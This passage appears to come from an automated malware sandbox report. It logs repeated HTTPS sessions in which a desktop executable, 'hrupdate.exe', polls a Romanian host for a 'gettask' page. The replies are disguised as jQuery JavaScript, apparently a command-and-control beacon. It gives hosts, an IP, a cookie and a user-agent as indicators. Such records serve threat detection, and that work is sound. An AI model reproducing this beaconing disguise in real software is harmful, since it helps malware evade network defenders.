6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:18 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:19 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:18 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:19 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:20 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:21 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:21 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:21 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:22 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:23 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:23 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:23 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:25 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:25 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:25 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:25 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:27 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:27 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:27 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:27 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:29 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:30 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:29 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:30 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:31 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:32 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:32 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:32 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:33 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:34 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:34 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:34 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49750	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:36 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:37 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:36 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:37 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49751	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:38 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:39 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:39 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:39 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49752	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:40:40 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:40:41 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:40:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:40:41 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49753	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

